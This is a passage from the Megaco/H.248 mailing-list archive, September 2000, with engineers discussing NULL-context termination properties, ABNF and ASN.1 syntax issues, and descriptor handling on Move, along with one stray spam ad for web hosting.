Received: from albatross-ext.wise.edt.ericsson.se by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB93256@standards.nortelnetworks.com>; Wed, 13 Sep 2000
          20:06:07 -0400
Received: from al.edt.ericsson.se (elb1.al.edt.ericsson.se [136.225.252.11]) by
          albatross.wise.edt.ericsson.se (8.11.0/8.11.0/WIREfire-1.3) with
          ESMTP id e8E0JSp17839; Thu, 14 Sep 2000 02:19:28 +0200 (MEST)
Received: from elb4.al.edt.ericsson.se (elb4 [136.225.252.20]) by
          al.edt.ericsson.se (8.8.8+Sun/8.8.8/eri-dom-1.1) with ESMTP id
          CAA16430; Thu, 14 Sep 2000 02:19:27 +0200 (MET DST)
Received: from ericsson.com ([146.11.85.153]) by elb4.al.edt.ericsson.se
          (8.9.3+Sun/8.9.1/client-1.0) with ESMTP id CAA15125; Thu, 14 Sep 2000
          02:19:24 +0200 (MET DST)
X-Mailer: Mozilla 4.72 [en] (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
References: <28560036253BD41191A10000F8BCBD11480D7F@zcard00g.ca.nortel.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <39C01915.C358901@ericsson.com>
Date:         Thu, 14 Sep 2000 11:17:25 +1100
Reply-To: Christian Groves <Christian.Groves@ERICSSON.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Christian Groves <Christian.Groves@ERICSSON.COM>
Subject:      Re: Can MGC modify term in NULL Context ?
X-To:         Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

G'Day all,

With regards to the service change idea there was a contribution to the
Portland SG16 meeting for H248v2 to add "ServiceChange => Capability
Change" as an indication that something (property, signal, event etc)
has changed on the MG and that the MGc should do an audit of what was
indicated in the service change to find out the exact change.

With regards to option 1 I did like the idea of the MGC being able to
change properties in the NULL context and make them stick but then we
have a mismatch between Physical and Euphemeral terminations as you
wouldn't have the same ability for the MGC to make changes stick.

Cheers, Christian

Tom-PT Taylor wrote:
>
> Resonses marked by [PTT].
>
> > -----Original Message-----
> > From: Kapil Nayar [mailto:knayar@HSS.HNS.COM]
> > Sent: Wednesday, September 13, 2000 1:10 AM
> > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > Subject: Re: Can MGC modify term in NULL Context ?
> >
> >
> > Hi Tom, Brian
> >
> > Some confusion is ensuing from the replies......
> >
> > Do we have a consensus about the following:
> > 1.   Default values are values specified in the packages.
> [PTT] In the packages, and sometimes in the main protocol document.
>
> > 2.   Provisioned values are values configured at MG end.
> [PTT] Right.
>
> >
> > AND
> > that we have two options do decide from
> >
> > Option 1
> > MGC when modifies termination properties in the NULL context,
> > changes the
> > default/ provisioned values.
> > These changes would be made to the package properties
> > associated with the
> > termination only.
> [PTT] No. We got rid of that in Geneva (I guess, based on Brian's detective
> work).  I may be fuzzy about exactly when, but I can tell you why: you could
> get nonsensical results.  In particular, events and signals set up in the
> NULL context BEFORE connecting the call would probably make no sense at all
> once the connection is dissolved.
>
> > If yes the following questions still remain unanswered:
> > Do we allow provisioning of the termination properties after
> > MGC modifies them
> > in the NULL context.?
> > If yes then how does MGC know about this asynchronous change
> > ? This is because
> > if MGC doesn't know about the change there is no sanctity of
> > the changes made by
> > the MGC. (One solution presented was that provisioning should
> > be followed by a
> > service change)
> >
> > Option 2
> > MGC when modifies termination properties in the NULL context,
> > changes the
> > default/ provisioned values only temporarily. When the
> > termination returns to
> > the NULL context, default/ provisioned values are restored.
> [PTT] That's how the document reads now.
>
> > If yes the following questions still remain unanswered:
> > Do we assume that MGC would audit the properties whenever it
> > establishes an
> > association with a MG and store a copy of the default/
> > provisioned values. And,
> > explicitly send modify for termination properties whenever it
> > needs to change
> > the termination property values.
> [PTT] That's a workable strategy.
>
> > Do we allow provisioning of the termination properties at run-time?
> > If yes then how does MGC know about this asynchronous change
> > ? This is because
> > if MGC doesn't know about the change there is no sanctity of
> > the audited values
> > stored by MGC. (One solution presented was that provisioning
> > should be followed
> > by a service change)
> [PTT] I think the service change would be a good idea.  We should look at
> putting this into the Implementor's Guide if it doesn't contradict anything
> already in the spec.
>
> >
> > Option 1 seems to be more appropriate, but the unanswered
> > questions need to be
> > appropriately addressed. We would like to have others views on this.
> >
> > -Kapil Nayar
> > Hughes Software Systems Ltd.
> >
> >...
> >


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Wed Sep 13 22:14:52 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id WAA21371
	for <megaco-archive@LISTS.IETF.ORG>; Wed, 13 Sep 2000 22:14:47 -0400 (EDT)
Received: from standards (47.234.32.16:3896) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB932BA@standards.nortelnetworks.com>; Wed, 13 Sep 2000 21:59:47 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 5750 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 13 Sep 2000 21:59:47 -0400
Received: from auemail2.firewall.lucent.com (auemail2.lucent.com) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB932B9@standards.nortelnetworks.com>; Wed, 13 Sep 2000
          21:59:47 -0400
Received: from auemail2.firewall.lucent.com (localhost [127.0.0.1]) by
          auemail2.firewall.lucent.com (Pro-8.9.3/8.9.3) with ESMTP id WAA19233
          for <MEGACO@standards.nortelnetworks.com>; Wed, 13 Sep 2000 22:13:12
          -0400 (EDT)
Received: from hzsms01.nl.lucent.com (h135-85-32-31.lucent.com [135.85.32.31])
          by auemail2.firewall.lucent.com (Pro-8.9.3/8.9.3) with ESMTP id
          WAA19228 for <MEGACO@standards.nortelnetworks.com>; Wed, 13 Sep 2000
          22:13:11 -0400 (EDT)
Received: by hzsms01.nl.lucent.com (8.8.8+Sun/EMS-1.5 sol2) id EAA23075; Thu,
          14 Sep 2000 04:13:10 +0200 (MET DST)
Received: from lucent.com by hzsms01.nl.lucent.com (8.8.8+Sun/EMS-1.5 sol2) id
          EAA23067; Thu, 14 Sep 2000 04:13:08 +0200 (MET DST)
X-Mailer: Mozilla 4.7 [en] (Win95; I)
X-Accept-Language: en
MIME-Version: 1.0
References: <39BDF4B4.89B38B68@tmx100.elex.co.il>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <39C03480.915DD453@lucent.com>
Date:         Thu, 14 Sep 2000 04:14:24 +0200
Reply-To: John Segers <jsegers@LUCENT.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: John Segers <jsegers@LUCENT.COM>
Organization: Lucent Technologies
Subject:      Re: Syntax problems
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

Rakefet,

1. I seems that the parentheses are missing, as you suggested.

2. Looks like this could get you a shift-reduce conflict. That can be
circumvented by having your lexer peek ahead and having two tokens for
the semicolon.  Ugly.

Cheers,

John

"Prozan, Rakefet" wrote:
>
> Hi all,
>
> The previous mail was sent by mistake. This is the correct mail:
>
> Can someone clear the following issues in ABNF?
>
> 1) In APPENDIX A EXAMPLE CALL FLOW:
>
>    ...
>    8.  The MGC Modifies the termination to play dial tone, to look for
>    digits according to Dialplan0 and to look for the on-hook event now.
>    MGC to MG1:
>
>    MEGACO/1 [123.123.123.4]:55555
>    Transaction = 10001 {
>        Context = - {
>            Modify = A4444 {
>                Events = 2223 {
>                    al/on, dd/ce {DigitMap=Dialplan0}
>                },
>                Signals {cg/dt},
>                DigitMap= Dialplan0{
>    (0| 00|[1-7]xxx|8xxxxxxx|Fxxxxxxx|Exx|91xxxxxxxxxx|9011x.)}
>            }
>        }
>    }
>
>   According to the definition of digitMapRAnge :
>
>    digitMapRange = ("x" / LWSP "[" LWSP digitLetter LWSP "]" LWSP)
>
>   "x" must be followed by "[" .
>   So, either there is an error in the example,or the definition should
> be:
>
>   digitMapRange = ("x" /( LWSP "[" LWSP digitLetter LWSP "]" LWSP ))
>
> 2) In ABNF:
>
>    contextRequest = ((contextProperties [COMMA contextAudit])
>                   / contextAudit)
>
>    contextProperties  = contextProperty *(COMMA contextProperty)
>
> My problem is : if the parser finds a COMMA after a contextProperty, it
> doesn't have any indication to know what will come after this COMMA:
> another
> contextProperty,or the optional contextAudit. This results in a loop.
> I think that there are two alternatives ways to solve this:
>
> Either to put  contextAudit in { } :
>
> contextRequest = ((contextProperties LBRKT [COMMA contextAudit] RBRKT)
>                / contextAudit)
>
> Or put contextProperties in { } :
>
> contextRequest = ((LBRKT contextProperties RBRKT [COMMA contextAudit])
>                   / contextAudit)
>
>  thank you in advance,
> --
> Rakefet Prozan,
> Team Manager, S/W Development
> Nortel SBU
> Telrad Networks
> ESN 828-3043   Email:rakefet.prozan@telrad.co.il
>
>                                        """
>                                      -(o o)-
> +---------------------------------oOO--(_)--OOo--------------+
>
>                                .oooO         Oooo.
> -------------------------------(   )---------(   )------------
>                                 \ (           ) /
>                                  \_)         (_/
>
> Have fun !!!

--
John Segers                                  email: jsegers@lucent.com
Lucent Technologies                                        Room HE 303
Dept. Forward Looking Work                      phone: +31 35 687 4724
P.O. Box 18, 1270 AA  Huizen                      fax: +31 35 687 5954


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Wed Sep 13 22:56:35 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id WAA22622
	for <megaco-archive@LISTS.IETF.ORG>; Wed, 13 Sep 2000 22:56:34 -0400 (EDT)
Received: from standards (47.234.32.16:1282) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB932E7@standards.nortelnetworks.com>; Wed, 13 Sep 2000 22:41:44 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 5801 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 13 Sep 2000 22:41:43 -0400
Received: from penguin-ext.wise.edt.ericsson.se by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1b) with SMTP id
          <0.FFB932E0@standards.nortelnetworks.com>; Wed, 13 Sep 2000 22:31:42
          -0400
Received: from al.edt.ericsson.se (elb1.al.edt.ericsson.se [136.225.252.11]) by
          penguin.wise.edt.ericsson.se (8.11.0/8.10.1/WIREfire-1.3) with ESMTP
          id e8E2j5w23825; Thu, 14 Sep 2000 04:45:05 +0200 (MEST)
Received: from elb4.al.edt.ericsson.se (elb4 [136.225.252.20]) by
          al.edt.ericsson.se (8.8.8+Sun/8.8.8/eri-dom-1.1) with ESMTP id
          EAA23256; Thu, 14 Sep 2000 04:45:04 +0200 (MET DST)
Received: from ericsson.com ([146.11.85.153]) by elb4.al.edt.ericsson.se
          (8.9.3+Sun/8.9.1/client-1.0) with ESMTP id EAA15677; Thu, 14 Sep 2000
          04:45:01 +0200 (MET DST)
X-Mailer: Mozilla 4.72 [en] (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
References: <5F68FAE98163D21193750000F81AC9BE0257FF55@zrtpd00x.us.nortel.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <39C03BA5.1FCEF25E@ericsson.com>
Date:         Thu, 14 Sep 2000 13:44:53 +1100
Reply-To: Christian Groves <Christian.Groves@ERICSSON.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Christian Groves <Christian.Groves@ERICSSON.COM>
Subject:      Re: The implementation guide .
X-To:         Chris Rigano <crigano@NORTELNETWORKS.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

Hello Chris,

The Implementors Guide is available at:

ftp://standard.pictel.com/avc-site/Incoming/H248_implementors_guide_v1.zip

Cheers, Christian

Chris Rigano wrote:
>
> Is there a Draft available?
>
> Best regards,
>
> Chris


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Wed Sep 13 23:00:12 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id XAA22645
	for <megaco-archive@LISTS.IETF.ORG>; Wed, 13 Sep 2000 23:00:07 -0400 (EDT)
Received: from standards (47.234.32.16:1282) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB93305@standards.nortelnetworks.com>; Wed, 13 Sep 2000 22:44:29 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 5847 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 13 Sep 2000 22:44:29 -0400
Received: from mailman.cisco.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1b) with SMTP id
          <0.FFB93304@standards.nortelnetworks.com>; Wed, 13 Sep 2000 22:44:29
          -0400
Received: from cisco.com (sj-dial-4-125.cisco.com [171.68.181.254]) by
          mailman.cisco.com (8.9.3/8.9.1) with ESMTP id TAA08927; Wed, 13 Sep
          2000 19:57:51 -0700 (PDT)
X-Mailer: Mozilla 4.72 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
References: <28560036253BD41191A10000F8BCBD11480D7F@zcard00g.ca.nortel.com>
            <39C01915.C358901@ericsson.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <39C03FBC.A1E17DDF@cisco.com>
Date:         Wed, 13 Sep 2000 23:02:20 -0400
Reply-To: Flemming Andreasen <fandreas@CISCO.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Flemming Andreasen <fandreas@CISCO.COM>
Subject:      Re: Can MGC modify term in NULL Context ?
X-To:         Christian Groves <Christian.Groves@ERICSSON.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

Question for clarification here:

Exactly what is H.248v2 and who is working on it ?

-- Flemming

Christian Groves wrote:

> G'Day all,
>
> With regards to the service change idea there was a contribution to the
> Portland SG16 meeting for H248v2 to add "ServiceChange => Capability
> Change" as an indication that something (property, signal, event etc)
> has changed on the MG and that the MGc should do an audit of what was
> indicated in the service change to find out the exact change.
>
> With regards to option 1 I did like the idea of the MGC being able to
> change properties in the NULL context and make them stick but then we
> have a mismatch between Physical and Euphemeral terminations as you
> wouldn't have the same ability for the MGC to make changes stick.
>
> Cheers, Christian
>
> Tom-PT Taylor wrote:
> >
> > Resonses marked by [PTT].
> >
> > > -----Original Message-----
> > > From: Kapil Nayar [mailto:knayar@HSS.HNS.COM]
> > > Sent: Wednesday, September 13, 2000 1:10 AM
> > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > Subject: Re: Can MGC modify term in NULL Context ?
> > >
> > >
> > > Hi Tom, Brian
> > >
> > > Some confusion is ensuing from the replies......
> > >
> > > Do we have a consensus about the following:
> > > 1.   Default values are values specified in the packages.
> > [PTT] In the packages, and sometimes in the main protocol document.
> >
> > > 2.   Provisioned values are values configured at MG end.
> > [PTT] Right.
> >
> > >
> > > AND
> > > that we have two options do decide from
> > >
> > > Option 1
> > > MGC when modifies termination properties in the NULL context,
> > > changes the
> > > default/ provisioned values.
> > > These changes would be made to the package properties
> > > associated with the
> > > termination only.
> > [PTT] No. We got rid of that in Geneva (I guess, based on Brian's detective
> > work).  I may be fuzzy about exactly when, but I can tell you why: you could
> > get nonsensical results.  In particular, events and signals set up in the
> > NULL context BEFORE connecting the call would probably make no sense at all
> > once the connection is dissolved.
> >
> > > If yes the following questions still remain unanswered:
> > > Do we allow provisioning of the termination properties after
> > > MGC modifies them
> > > in the NULL context.?
> > > If yes then how does MGC know about this asynchronous change
> > > ? This is because
> > > if MGC doesn't know about the change there is no sanctity of
> > > the changes made by
> > > the MGC. (One solution presented was that provisioning should
> > > be followed by a
> > > service change)
> > >
> > > Option 2
> > > MGC when modifies termination properties in the NULL context,
> > > changes the
> > > default/ provisioned values only temporarily. When the
> > > termination returns to
> > > the NULL context, default/ provisioned values are restored.
> > [PTT] That's how the document reads now.
> >
> > > If yes the following questions still remain unanswered:
> > > Do we assume that MGC would audit the properties whenever it
> > > establishes an
> > > association with a MG and store a copy of the default/
> > > provisioned values. And,
> > > explicitly send modify for termination properties whenever it
> > > needs to change
> > > the termination property values.
> > [PTT] That's a workable strategy.
> >
> > > Do we allow provisioning of the termination properties at run-time?
> > > If yes then how does MGC know about this asynchronous change
> > > ? This is because
> > > if MGC doesn't know about the change there is no sanctity of
> > > the audited values
> > > stored by MGC. (One solution presented was that provisioning
> > > should be followed
> > > by a service change)
> > [PTT] I think the service change would be a good idea.  We should look at
> > putting this into the Implementor's Guide if it doesn't contradict anything
> > already in the spec.
> >
> > >
> > > Option 1 seems to be more appropriate, but the unanswered
> > > questions need to be
> > > appropriately addressed. We would like to have others views on this.
> > >
> > > -Kapil Nayar
> > > Hughes Software Systems Ltd.
> > >
> > >...
> > >

--
Flemming Andreasen
Cisco Systems


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Thu Sep 14 09:54:22 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA12093
	for <megaco-archive@LISTS.IETF.ORG>; Thu, 14 Sep 2000 09:54:21 -0400 (EDT)
Received: from standards (47.234.32.16:4490) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB934F7@standards.nortelnetworks.com>; Thu, 14 Sep 2000 9:38:59 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 6396 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Thu, 14 Sep 2000 09:38:58 -0400
Received: from mail.kpnqwest.ch (mail.eunet.ch) by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1b) with SMTP id
          <0.FFB934C0@standards.nortelnetworks.com>; Thu, 14 Sep 2000 9:28:57
          -0400
Received: from oettinger.davidoff.ch ([195.49.110.243]) by mail.kpnqwest.ch
          (8.9.3/1.34) via ESMTP id NAA26358 for
          <megaco@standards.nortelnetworks.com>; Thu, 14 Sep 2000 13:42:23 GMT
          env-from (sfsddfd@sun10.kaposvar.pate.hu)
Received: from mail.mindspring.com by oettinger.davidoff.ch via SMTP id
          smtp\t9eej7pp.in; 14 Sep 2000 14:55:00 +0200
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
Message-ID:  <498.147790.862762@mail.mindspring.com>
Date:         Thu, 14 Sep 2000 09:38:58 -0400
Reply-To: sfsddfd@SUN10.KAPOSVAR.PATE.HU
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: sfsddfd@SUN10.KAPOSVAR.PATE.HU
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

GET YOUR OWN 100 MEG WEBSITE FOR ONLY $11.95 PER MONTH TODAY!

STOP PAYING $19.95 or more TODAY for your web site, WHEN YOU CAN
GET ONE FOR ONLY $11.95 PER MONTH!

DO YOU ALREADY HAVE A WEBSITE? ALL YOU HAVE TO DO IS TRANSFER THE
DOMAIN TO OUR SERVERS AND UPLOAD YOUR DATA AND YOU ARE READY TO
GO! YOUR NEW WEB SPACE CAN BE CREATED INSTANTLY WITH JUST A
SIMPLE PHONE CALL TO  OUR OFFICE.

YOU CAN CHANGE THE DESIGN OF YOUR SITE AS MUCH AS YOU WANT with
no extra charge!  UNLIMITED TRAFFIC -- no extra charge!

FRONT PAGE EXTENSIONS are FULLY SUPPORTED.

A SET UP FEE OF $40.00 APPLIES for FIRST TIME CUSTOMERS.

ALL FEES PREPAID IN ADVANCE FOR THE YEAR PLUS A $40.00 SET UP
CHARGE.

FOR DETAILS CALL 1 888 248 0765

Webhosting International


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Thu Sep 14 17:51:18 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA26093
	for <megaco-archive@LISTS.IETF.ORG>; Thu, 14 Sep 2000 17:51:17 -0400 (EDT)
Received: from standards (47.234.32.16:3176) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB93A7C@standards.nortelnetworks.com>; Thu, 14 Sep 2000 17:36:01 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 8193 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Thu, 14 Sep 2000 17:36:01 -0400
Received: from mailman.cisco.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1b) with SMTP id
          <0.FFB93A7B@standards.nortelnetworks.com>; Thu, 14 Sep 2000 17:36:00
          -0400
Received: from host.cisco.com (sj-dial-4-44.cisco.com [171.68.181.173]) by
          mailman.cisco.com (8.9.3/8.9.1) with ESMTP id OAA06129 for
          <MEGACO@STANDARDS.NORTELNETWORKS.COM>; Thu, 14 Sep 2000 14:49:27
          -0700 (PDT)
X-Sender: tonychen@dogwood.cisco.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Message-ID:  <4.2.2.20000915054932.00b93b90@dogwood.cisco.com>
Date:         Fri, 15 Sep 2000 05:50:05 +1000
Reply-To: "Tony Chen, Tong Hua" <tonychen@CISCO.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: "Tony Chen, Tong Hua" <tonychen@CISCO.COM>
Subject:      unsubscription
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

unsubscription
Tony Chen Tong Hua
SPLoB, Asia Pacific
Tel:65-8335454
Mobile:65-98368316


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Thu Sep 14 23:57:23 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id XAA01824
	for <megaco-archive@LISTS.IETF.ORG>; Thu, 14 Sep 2000 23:57:22 -0400 (EDT)
Received: from standards (47.234.32.16:2887) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB93B14@standards.nortelnetworks.com>; Thu, 14 Sep 2000 23:42:12 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 8395 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Thu, 14 Sep 2000 23:42:11 -0400
Received: from mars.hss.co.in (202.54.26.197:52142) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB93B13@standards.nortelnetworks.com>; Thu, 14 Sep 2000
          23:42:08 -0400
Received: from sandesh.hss.hns.com (sandesh [139.85.242.35]) by mars.hss.co.in
          (8.10.0/8.10.0) with SMTP id e8F3uOC07805 for
          <MEGACO@STANDARDS.NORTELNETWORKS.COM>; Fri, 15 Sep 2000 09:26:27
          +0530 (IST)
Received: by sandesh.hss.hns.com(Lotus SMTP MTA v4.6.3  (733.2 10-16-1998))  id
          6525695B.0014A2CE ; Fri, 15 Sep 2000 09:15:23 +0530
X-Lotus-FromDomain: HSS
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline
Message-ID:  <6525695B.0014A100.00@sandesh.hss.hns.com>
Date:         Fri, 15 Sep 2000 09:25:39 +0530
Reply-To: svkumar@HSS.HNS.COM
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Shiv Kumar <svkumar@HSS.HNS.COM>
Subject:      ASN.1 doubts
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

Hi,


 I have some doubts in Binary encoding regarding the following :
[ I have taken into consideration the correction in the Implementation Guide
that
  the native tags can be used for Local Control also ]

1) Other than the SDP tags, how are the rest of the native tags used ?
     Can someone clarify with an example ?
     The local control property parm HAVE to be qualified by a Package and Item
name.
      How is it used w.r.t. native tags ?
      What is the equivalent of the native tags in text encoding ?

2) In Property Parm, 'value' is described as a SEQUENCE of octet string and an
     empty sequence means CHOOSE...which descriptor is this used with ?
     Again, can I have a specific  example for local control desciptor ?


There seem to be some other syntactic errors/mismatches in the ASN.1
description.

1)

   ActionReply ::= SEQUENCE    {
     contextId               ContextID,
      errorDescriptor         ErrorDescriptor OPTIONAL,
      contextReply            ContextRequest OPTIONAL,
      commandReply            SEQUENCE OF CommandReply
}

   Context Reply and command Reply should be grouped into a separate structure.
   That structure should be part of a CHOICE between it and error descriptor.
    Something like the following, perhaps.

ActionReply ::= SEQUENCE    {
     contextId               ContextID,
     actionBody               CHOICE {
                    errorDescriptor      ErrorDescriptor,
          SEQUENCE               commandReplyList{
               contextReply         ContextRequest OPTIONAL,
               commandReply         SEQUENCE OF CommandReply
          }
     }


2)  Priority in Context Request is mentioned as having a range of 0-15.
     In ABNF, it is simply UINT16.

3) CommandRequest SEQUENCE  has 'wildcardReturn' as one of its parameters.
     Shouldnt it be bound to Subtract and Audit commands only ?

4) AuditReply SEQUENCE should not have 'termination Id' . It is part of
auditOther only
    and not of contextTermination  audit.

5) In NotifyReply, termination Id should be mandatory [ as in ABNF]

6) OK, this is more significant.
     The packages in Annex E have provided   binary Id at Parameter name level
also.
      Shouldnt  those binary Ids be used instead of Parameter Name ?
      This is true for Event Parameter and SigParameter.
     Also, only one Value is provided. Cant we have Relation and  Range/Sets ?

7) The ServiceChangeResult in Service Change Reply should be optional.

8) The  DigitMapDescriptor and ServiceChangeResParm definition  leaves room to
indicate
     that you can send then without any parameters. Can it be bettered ?

9) Are Service Change Method and Reason mandatory ? If so, they should be
specified
    in the ABNF description also.


Hoping for some clarifications.
Regards
Shiv


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Sep 15 10:27:41 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA20048
	for <megaco-archive@LISTS.IETF.ORG>; Fri, 15 Sep 2000 10:27:40 -0400 (EDT)
Received: from standards (47.234.32.16:3494) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB93D99@standards.nortelnetworks.com>; Fri, 15 Sep 2000 10:11:06 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 9206 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 15 Sep 2000 10:11:06 -0400
Received: from mars.hss.co.in (202.54.26.197:59901) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB93D98@standards.nortelnetworks.com>; Fri, 15 Sep 2000
          10:11:00 -0400
Received: from sandesh.hss.hns.com (sandesh [139.85.242.35]) by mars.hss.co.in
          (8.10.0/8.10.0) with SMTP id e8FEPHC21186 for
          <MEGACO@STANDARDS.NORTELNETWORKS.COM>; Fri, 15 Sep 2000 19:55:18
          +0530 (IST)
Received: by sandesh.hss.hns.com(Lotus SMTP MTA v4.6.3  (733.2 10-16-1998))  id
          6525695B.004E3696 ; Fri, 15 Sep 2000 19:44:17 +0530
X-Lotus-FromDomain: HSS
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline
Message-ID:  <6525695B.004E21C2.00@sandesh.hss.hns.com>
Date:         Fri, 15 Sep 2000 19:41:55 +0530
Reply-To: bmbabu@HSS.HNS.COM
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Madhu Babu <bmbabu@HSS.HNS.COM>
Subject:      Descriptor intrepretation in Move.
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

When termination T1 is moved from Context C1 to C2 what will be the descriptors
that are valid for this termination in new context. There are two sections in
the protocol that address this in two different ways. In section 6.2.4 first
paragraph its said that "If not provisioned Otherwise, all descriptors except
TerminationState and LocalControl default to empty/"no value" when a Termination
is first created or returned to the null context". From this it can be
understood that the same descriptors will be retained when moved to the new
context. But in section 7.2.4  second paragraph mentions that "By convention,
the Termination is subtracted from its previous Context". Does this mean that
only the new descriptors provided in the Move command will be applicable and not
the old ones?
Regards
-Madhubabu
Hughes Software System.


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Sep 15 10:27:42 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA20051
	for <megaco-archive@LISTS.IETF.ORG>; Fri, 15 Sep 2000 10:27:41 -0400 (EDT)
Received: from standards (47.234.32.16:3494) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB93DA0@standards.nortelnetworks.com>; Fri, 15 Sep 2000 10:11:21 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
